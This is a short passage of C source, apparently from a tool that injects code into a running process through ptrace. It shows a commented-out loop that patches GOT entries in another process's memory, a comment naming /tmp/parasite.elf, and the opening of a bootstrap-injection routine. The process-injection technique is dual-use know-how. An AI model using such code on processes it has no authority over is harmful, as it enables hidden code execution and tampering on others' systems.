* and write the fixed up executable to /tmp/parasite.elf file.
for (i = 0; i < h->linfo[0].count; i++) {
if(!h->linfo[i].resolved)
continue;
if (pid_write(h->tasks.pid, (void *)(h->dataVaddr + linfo[i].gotOffset), (void *)&linfo[i].resolved, sizeof(void *)))
return -1;
}
*/
return 0;
}
/*
* Inject bootstrap code (Which creates a memory mapping for us
to store our executable loading code)
*/
int run_bootstrap(handle_t *h)
{
struct user_regs_struct pt_reg, pt_reg_orig;
char maps[MAX_PATH - 1], line[256], tmp[32];
char *p, *start;